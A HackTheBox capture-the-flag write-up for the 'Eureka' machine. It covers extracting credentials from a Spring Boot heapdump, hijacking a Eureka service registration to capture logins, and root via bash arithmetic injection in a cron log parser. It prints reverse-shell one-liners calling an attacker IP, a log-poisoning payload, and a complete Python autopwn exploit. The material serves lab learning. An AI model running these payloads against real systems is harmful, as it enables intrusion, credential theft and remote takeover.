31 August 2025

Eureka

by 0xW1LD

Eureka HTB Box

Information Gathering

As always we can start off with an nmap scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d6b2104232354dc9aebd3f1f5865ce49 (RSA)
|   256 90119d67b6f664d4df7fed4a902e6d7b (ECDSA)
|_  256 9437d342955dadf77973a6379445ad47 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open  unknown
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 401
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Set-Cookie: JSESSIONID=5E96959A3853A86DE1CDF8410869C526; Path=/; HttpOnly
|     WWW-Authenticate: Basic realm="Realm"
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 0
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: DENY
|     Content-Length: 0
|     Date: Sat, 26 Apr 2025 22:30:13 GMT
|     Connection: close
|   HTTPOptions:
|     HTTP/1.1 401
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Set-Cookie: JSESSIONID=B0F287F982878828C3396D829AFE5DC9; Path=/; HttpOnly
|     WWW-Authenticate: Basic realm="Realm"
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 0
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: DENY
|     Content-Length: 0
|     Date: Sat, 26 Apr 2025 22:30:13 GMT
|     Connection: close
|   RPCCheck, RTSPRequest:
|     HTTP/1.1 400
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Sat, 26 Apr 2025 22:30:16 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_    Request</h1></body></html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8761-TCP:V=7.93%I=7%D=4/27%Time=680D5E77%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1D1,"HTTP/1\.1\x20401\x20\r\nVary:\x20Origin\r\nVary:\x20Acces
SF:s-Control-Request-Method\r\nVary:\x20Access-Control-Request-Headers\r\n
SF:Set-Cookie:\x20JSESSIONID=5E96959A3853A86DE1CDF8410869C526;\x20Path=/;\
SF:x20HttpOnly\r\nWWW-Authenticate:\x20Basic\x20realm=\"Realm\"\r\nX-Conte
SF:nt-Type-Options:\x20nosniff\r\nX-XSS-Protection:\x200\r\nCache-Control:
SF:\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nPragma:\
SF:x20no-cache\r\nExpires:\x200\r\nX-Frame-Options:\x20DENY\r\nContent-Len
SF:gth:\x200\r\nDate:\x20Sat,\x2026\x20Apr\x202025\x2022:30:13\x20GMT\r\nC
SF:onnection:\x20close\r\n\r\n")%r(HTTPOptions,1D1,"HTTP/1\.1\x20401\x20\r
SF:\nVary:\x20Origin\r\nVary:\x20Access-Control-Request-Method\r\nVary:\x2
SF:0Access-Control-Request-Headers\r\nSet-Cookie:\x20JSESSIONID=B0F287F982
SF:878828C3396D829AFE5DC9;\x20Path=/;\x20HttpOnly\r\nWWW-Authenticate:\x20
SF:Basic\x20realm=\"Realm\"\r\nX-Content-Type-Options:\x20nosniff\r\nX-XSS
SF:-Protection:\x200\r\nCache-Control:\x20no-cache,\x20no-store,\x20max-ag
SF:e=0,\x20must-revalidate\r\nPragma:\x20no-cache\r\nExpires:\x200\r\nX-Fr
SF:ame-Options:\x20DENY\r\nContent-Length:\x200\r\nDate:\x20Sat,\x2026\x20
SF:Apr\x202025\x2022:30:13\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSP
SF:Request,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;charset
SF:=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r\nDate:\x2
SF:0Sat,\x2026\x20Apr\x202025\x2022:30:16\x20GMT\r\nConnection:\x20close\r
SF:\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\x20Statu
SF:s\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20type=\"text
SF:/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20
SF:h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{font-size
SF::22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{
SF:font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;backgr
SF:ound-color:#525D76;border:none;}</style></head><body><h1>HTTP\x20Status
SF:\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html>")%r(RPCChe
SF:ck,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;charset=utf-
SF:8\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r\nDate:\x20Sat,
SF:\x2026\x20Apr\x202025\x2022:30:16\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\x20Status\x20
SF:400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20type=\"text/css\
SF:">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x
SF:20b\x20{color:white;background-color:#525D76;}\x20h1\x20{font-size:22px
SF:;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{font-
SF:size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;background-
SF:color:#525D76;border:none;}</style></head><body><h1>HTTP\x20Status\x204
SF:00\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see 3 ports open.

Looking around seems to be a pretty secure web app. Testing for robots.txt leads to: Whitelabel Error Page

Netflix Eureka

Attempting to access port 8761 we’re provided with a basic-auth prompt. Basic Auth Prompt

Foothold

Looking around at Netflix Eureka they use a framework called Spring Boot as we can see here: Spring Cloud Netflix Let’s take a look at the Rest API of Spring Boot: Actuator Rest API If we visit Furni.htb actuator health we get:

1
{"status":"UP"}

One interesting endpoint is mappings to provide us information on the application’s request mappings: Mappings Visiting Furni.htb Mappings, we get:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
{
  "contexts": {
    "Furni": {
      "mappings": {
        "dispatcherServlets": {
          "dispatcherServlet": [
            {
              "handler": "Actuator web endpoint 'threaddump'",
              "predicate": "{GET [/actuator/threaddump], produces [text/plain;charset=UTF-8]}",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.servlet.AbstractWebMvcEndpointHandlerMapping.OperationHandler",
                  "name": "handle",
                  "descriptor": "(Ljakarta/servlet/http/HttpServletRequest;Ljava/util/Map;)Ljava/lang/Object;"
                },
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/threaddump"
                  ],
                  "produces": [
                    {
                      "mediaType": "text/plain;charset=UTF-8",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "handler": "Actuator web endpoint 'info'",
              "predicate": "{GET [/actuator/info], produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.servlet.AbstractWebMvcEndpointHandlerMapping.OperationHandler",
                  "name": "handle",
                  "descriptor": "(Ljakarta/servlet/http/HttpServletRequest;Ljava/util/Map;)Ljava/lang/Object;"
                },
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/info"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
<SNIP>	

One of the most interesting endpoints is: heapdump, if we check the API Docs we can see that the output is binary data:

To retrieve the heap dump, make a GET request to /actuator/heapdump. The response is binary data and can be large. Its format depends upon the JVM on which the application is running. When running on a HotSpot JVM the format is HPROF and on OpenJ9 it is PHD. Typically, you should save the response to disk for subsequent analysis. When using curl, this can be achieved by using the -O option, as shown in the following example…

So let’s grab the heapdump.

1
2
3
4
5
curl http://furni.htb/actuator/heapdump -O

% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 76.4M  100 76.4M    0     0   730k      0  0:01:47  0:01:47 --:--:-- 1013k

Looking around we can use the port number we found earlier to find something interesting:

1
2
3
4
5
6
7
8
strings heapdump | grep 8761
P`http://localhost:8761/eureka/
http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/!
http://localhost:8761/eureka/!
http://localhost:8761/eureka/!
Host: localhost:8761
http://localhost:8761/eureka/!
Host: localhost:8761

We get the credentials: EurekaSrvr:0scarPWDisTheB3st

Additionally, based on this password we can look for the user named oscar and we find the following.

1
2
3
strings heapdump | grep -E "oscar"
oscar190!
{password=0sc@r190_S0l!dP@sswd, user=oscar190}!

We get more credentials:

oscar190:0sc@r190_S0l!dP@sswd

We can use these to ssh and get a shell onto the box.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ssh oscar190@furni.htb
oscar190@furni.htbs password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-214-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun 27 Apr 2025 09:32:11 AM UTC

  System load:           0.13
  Usage of /:            61.6% of 6.79GB
  Memory usage:          41%
  Swap usage:            0%
  Processes:             241
  Users logged in:       0
  IPv4 address for eth0: 10.129.235.146
  IPv6 address for eth0: dead:beef::250:56ff:feb0:352a


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Apr 27 09:32:14 2025 from 10.10.14.158
oscar190@eureka:~$

User

Using the credentials we’re able to login on port 8761, and we are greeted by Spring Eureka Dashboard. Spring Eureka Dashboard

Looking around we can find the article: Hacking Netflix Eureka

Let’s try the second approach on the blogpost which allows us to redirect user traffic towards our machine.

So let’s write index.html.

1
2
3
4
5
HTML/1.1 200 OK
Content-type: text/html
Content-length: 33

<script>alert("TEST")</script>

and let’s start a listener with our index.html file in the STDIN stream.

1
2
3
4
nc -lvnp 8080 < index.html
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337

And let’s craft a request using the data from USER MANAGEMENT SERVICE APP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<application>
  <name>USER-MANAGEMENT-SERVICE</name>
  <instance>
    <instanceId>localhost:USER-MANAGEMENT-SERVICE:8081</instanceId>
    <hostName>localhost</hostName>
    <app>USER-MANAGEMENT-SERVICE</app>
    <ipAddr>10.129.234.98</ipAddr>
    <status>UP</status>
    <overriddenstatus>UNKNOWN</overriddenstatus>
    <port enabled="true">8081</port>
    <securePort enabled="false">443</securePort>
    <countryId>1</countryId>
    <dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
      <name>MyOwn</name>
    </dataCenterInfo>
    <leaseInfo>
      <renewalIntervalInSecs>30</renewalIntervalInSecs>
      <durationInSecs>90</durationInSecs>
      <registrationTimestamp>1745723382406</registrationTimestamp>
      <lastRenewalTimestamp>1745745454958</lastRenewalTimestamp>
      <evictionTimestamp>0</evictionTimestamp>
      <serviceUpTimestamp>1745723382406</serviceUpTimestamp>
    </leaseInfo>
    <metadata>
      <management.port>8081</management.port>
    </metadata>
    <homePageUrl>http://localhost:8081/</homePageUrl>
    <statusPageUrl>http://localhost:8081/actuator/info</statusPageUrl>
    <healthCheckUrl>http://localhost:8081/actuator/health</healthCheckUrl>
    <vipAddress>USER-MANAGEMENT-SERVICE</vipAddress>
    <secureVipAddress>USER-MANAGEMENT-SERVICE</secureVipAddress>
    <isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
    <lastUpdatedTimestamp>1745723382406</lastUpdatedTimestamp>
    <lastDirtyTimestamp>1745723381369</lastDirtyTimestamp>
    <actionType>ADDED</actionType>
  </instance>
</application>

Let’s delete the existing instance.

1
curl -X DELETE 'http://EurekaSrvr:0scarPWDisTheB3st@furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:USER-MANAGEMENT-SERVICE:8081'

We should be able to create an endpoint towards our machine with the following payload.

1
curl 'http://EurekaSrvr:0scarPWDisTheB3st@furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE/' -d '{"instance":{"instanceId":"USER-MANAGEMENT-SERVICE","app":"USER-MANAGEMENT-SERVICE","appGroupName":null,"ipAddr":"10.10.14.158","sid":"na","homePageUrl":"http://10.10.14.158:8081/","statusPageUrl":"http://10.10.14.158:8081/actuator/info","healthCheckUrl":"http://10.10.14.158:8081/actuator/health","secureHealthCheckUrl":null,"vipAddress":"user-management-service","secureVipAddress":"user-management-service","countryId":1,"dataCenterInfo":{"@class":"com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo","name":"MyOwn"},"hostName":"10.10.14.158","status":"UP","overriddenStatus":"UNKNOWN","leaseInfo":{"renewalIntervalInSecs":30,"durationInSecs":90,"registrationTimestamp":0,"lastRenewalTimestamp":0,"evictionTimestamp":0,"serviceUpTimestamp":0},"isCoordinatingDiscoveryServer":false,"lastUpdatedTimestamp":1630906180645,"lastDirtyTimestamp":1630906182808,"actionType":null,"asgName":null,"port":{"$":8081,"@enabled":"true"},"securePort":{"$":443,"@enabled":"false"},"metadata":{"management.port":"8081"}}}' -H "Content-type: Application/json"

On the user management service we should now see our own data.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<application>
  <name>USER-MANAGEMENT-SERVICE</name>
  <instance>
    <instanceId>USER-MANAGEMENT-SERVICE</instanceId>
    <hostName>10.10.14.158</hostName>
    <app>USER-MANAGEMENT-SERVICE</app>
    <ipAddr>10.10.14.158</ipAddr>
    <status>UP</status>
    <overriddenstatus>UNKNOWN</overriddenstatus>
    <port enabled="true">8081</port>
    <securePort enabled="false">443</securePort>
    <countryId>1</countryId>
    <dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
      <name>MyOwn</name>
    </dataCenterInfo>
    <leaseInfo>
      <renewalIntervalInSecs>30</renewalIntervalInSecs>
      <durationInSecs>90</durationInSecs>
      <registrationTimestamp>1745748658900</registrationTimestamp>
      <lastRenewalTimestamp>1745748658900</lastRenewalTimestamp>
      <evictionTimestamp>0</evictionTimestamp>
      <serviceUpTimestamp>1745748658900</serviceUpTimestamp>
    </leaseInfo>
    <metadata>
      <management.port>8081</management.port>
    </metadata>
    <homePageUrl>http://10.10.14.158:8081/</homePageUrl>
    <statusPageUrl>http://10.10.14.158:8081/actuator/info</statusPageUrl>
    <healthCheckUrl>http://10.01.14.158:8081/actuator/health</healthCheckUrl>
    <vipAddress>user-management-service</vipAddress>
    <secureVipAddress>user-management-service</secureVipAddress>
    <isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
    <lastUpdatedTimestamp>1745748658900</lastUpdatedTimestamp>
    <lastDirtyTimestamp>1630906182808</lastDirtyTimestamp>
    <actionType>ADDED</actionType>
  </instance>
</application>

Now the waiting game starts, we have to wait for a user to login to our instance.

After waiting a couple minutes we should get a response on our listener.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Ncat: Connection from 10.129.235.146.
Ncat: Connection from 10.129.235.146:36224.
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=Yzk2Y2NjZTItMzFmYS00YjI0LTliODgtNTAzZjc0YTg5OTY2
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:44654"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.14.158:8081

username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=U-giSLlpz4je9zxMpzHeT5aEJ8f1gm3DO-b7KD2EOtQfhvp7at4Tf48N_e3zkg4qwRzqLfSzCv_B4V7uXtLIHQXgCuUp5ZxL

We get the following credentials:

miranda.wise:IL!veT0Be&BeT0L0ve

Using oscar190’s access we can see the actual username in /etc/passwd.

1
2
3
4
5
cat /etc/passwd

<SNIP>
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash
</SNIP>

Just like that we have User!

Root

Running pspy we see the following script being ran.

1
2025/04/27 12:08:03 CMD: UID=0     PID=518206 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log

Within the script we can see the following insecure code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}

According to Vidar’s blog it is possible to execute code with the -eq comparison.

Looking at the directory permissions www-data and developers have access, if we check our groups we’re in the developers group.

1
2
3
4
5
6
7
8
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ls -la
total 48
drwxrwxr-x 2 www-data developers  4096 Apr 27 05:34 .
drwxrwxr-x 6 www-data developers  4096 Mar 18 21:17 ..
-rw-r--r-- 1 www-data www-data   29197 Apr 27 12:09 application.log
-rw-rw-r-- 1 www-data www-data    5702 Apr 23 07:37 application.log.2025-04-22.0.gz
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)

So let’s remove application.log.

1
rm application.log

And let’s write a malicious status code with code execution.

1
echo '2025-04-09T11:27:02.286Z  INFO 1234 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: a[$(cat /root/root.txt >> /tmp/w1ld.txt)]+0' > application.log

We can see that after a little wait it executed the command!

1
2
ls -lash /tmp/w1ld.txt
4.0K -rw-r--r-- 1 root root 264 Apr 27 12:28 /tmp/w1ld.txt

To get a root shell we must simply replace the cat command in the log with a rev shell or set the SUID bit of /bin/bash. etc.

1
2
3
4
5
6
7
8
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.235.146.
Ncat: Connection from 10.129.235.146:44162.
bash: cannot set terminal process group (545914): Inappropriate ioctl for device
bash: no job control in this shell
root@eureka:~#

Just like that we have root!

Beyond Root

Root 1 liner…

Thanks to @jkr for discussing this with me!

There’s another vulnerability in the script, here’s a snippet with added comments to explain it.

1
2
3
4
5
6
7
8
9
10
# This creates an associative array(essentially a key:value array)
declare -A successful_users  # Associative array: username -> count
# This checks if `username` already has an array element associated with it
        if [ -n "${successful_users[$username]+_}" ]; then
# This just increments the count value of the array
            successful_users[$username]=$((successful_users[$username] + 1)) # <--------- this is vulnerable
        else
# this sets the base value of count to 1
            successful_users[$username]=1
        fi

According to Vidar’s blog

The shell evaluates values in an arithmetic context in several syntax constructs where the shell expects an integer. This includes: $((here)), ((here)), ${var:here:here}, ${var[here]}, var[here]=.. and on either side of any [[ numerical comparator like -eq, -gt, -le and friends.

Therefore based on the snippet and shell evaluation mentioned above our attack path is to poison the logs through username. We need to input the same username twice, here’s why:

  1. The first username is there to create the array element.
  2. The second username is there to trigger the shell in the arithmetic context.

So if we simply login with the following username twice:

1
`bash -i >& /dev/tcp/10.10.X.X/9001 0>&1`

It doesn’t matter that we’re told we have Bad Credentials

eureka-1745818702077.png

Because the username itself is already in the log file /var/www/web/user-management-service/log/application.log

1
2
2025-04-28T05:15:06.626Z  INFO 1324 --- [USER-MANAGEMENT-SERVICE] [http-nio-127.0.0.1-8081-exec-8] c.e.Furni.Security.LoginFailureLogger    : Login failed for user '`bash -i >& /dev/tcp/10.10.14.158/9001 0>&1`': Bad credentials
2025-04-28T05:15:11.224Z  INFO 1324 --- [USER-MANAGEMENT-SERVICE] [http-nio-127.0.0.1-8081-exec-5] c.e.Furni.Security.LoginFailureLogger    : Login failed for user '`bash -i >& /dev/tcp/10.10.14.158/9001 0>&1`': Bad credentials

And because it will appear twice, the log_analyse.sh script will see the first one, create a new array element, see the second one and attempt the arithmetic with it.

We should get a call back on our listener within 2 minutes.

1
2
3
4
5
6
7
8
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.236.230.
Ncat: Connection from 10.129.236.230:57698.
bash: cannot set terminal process group (1555176): Inappropriate ioctl for device
bash: no job control in this shell
root@eureka:~#

Given that this is almost impossible to know blind it’s really difficult to see that this is a vulnerability. That being said… this is now one of the stupid things I’ll try first: bash injection in username twice 😅.

The AutoPwn

This box had interested me so much that I decided to vibe code a quick way to get back into the box as root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import socket, sys, time, requests, argparse
from bs4 import BeautifulSoup

def get_session_and_csrf():
    """Retrieves the session and CSRF token from the login page."""
    try:
        response = requests.get("http://furni.htb/login")
        response.raise_for_status()  # Raise an exception for bad status codes
        soup = BeautifulSoup(response.text, 'html.parser')
        csrf_token = soup.find('input', {'name': '_csrf'})['value']
        session_cookie = response.cookies.get('SESSION')  # Use the correct cookie name 'SESSION'
        return session_cookie, csrf_token
    except requests.exceptions.RequestException as e:
        print(f"[ - ] Error fetching login page: {e}")
        sys.exit(1)
    except (AttributeError, TypeError) as e:
        print(f"[ - ] Error parsing CSRF token: {e}")
        sys.exit(1)

def listen(ip, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((ip, port))
    s.listen(1)
    print(f"[ + ] Listening on {ip}:{port}")
    conn, addr = s.accept()
    print(f"[ + ] Connection received from {addr[0]}:{addr[1]}")
    while True:
        try:
            ans = conn.recv(1024).decode()
            sys.stdout.write(ans)
            command = input()
            command += "\n"
            conn.send(command.encode())
            time.sleep(1)
            sys.stdout.write("\033[A" + ans.split("\n")[-1])
        except ConnectionResetError:
            print("[ ! ] Connection reset by target.")
            break
        except Exception as e:
            print(f"[ ! ] Error during communication: {e}")
            break
    conn.close()
    s.close()

def req(ip, session_cookie, csrf_token):
    """Sends the reverse shell payload with the retrieved session and CSRF token."""
    encoded_payload = f"bash -i >& /dev/tcp/{ip}/9999 0>&1"
    url_encoded_payload = requests.utils.quote(encoded_payload)
    data = f"username=%60{url_encoded_payload}%60&password=w1ld_w4s_h3r3&_csrf={csrf_token}"
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Referer': 'http://furni.htb/login?error'
    }
    cookies = {'SESSION': session_cookie}  # Set the 'SESSION' cookie
    try:
        resp = requests.post("http://furni.htb/login", data=data, headers=headers, cookies=cookies, allow_redirects=False)
        if resp.status_code == 302:
            print("[ + ] Payload likely sent successfully (redirect observed). Check your listener. (may take 2 minutes)")
        elif resp.ok:
            print("[ + ] Payload successfully sent (no redirect). Check your listener.")
        else:
            print(f"[ - ] Error sending payload. Status code: {resp.status_code} {resp.reason}")
            print(f"[ - ] Response content: {resp.text}")
            sys.exit(1)
    except requests.exceptions.RequestException as e:
        print(f"[ - ] Error sending POST request: {e}")
        sys.exit(1)

def main():
    p = argparse.ArgumentParser(description="Autopwn Eureka!")
    g = p.add_mutually_exclusive_group(required=True)
    g.add_argument("-i", "--ip", help="Attacker ip address, e.g., 10.10.14.50")
    args = p.parse_args()

    if not args.ip:
        print("[ - ] No IP specified.")
        sys.exit(1)

    session_cookie, csrf_token = get_session_and_csrf()
    print(f"[ + ] Retrieved Session ID: {session_cookie}")
    print(f"[ + ] Retrieved CSRF Token: {csrf_token}")

    req(args.ip, session_cookie, csrf_token)
    req(args.ip, session_cookie, csrf_token)
    listen(args.ip, 9999)

if __name__ == "__main__":
    main()

tags: os/linux - diff/hard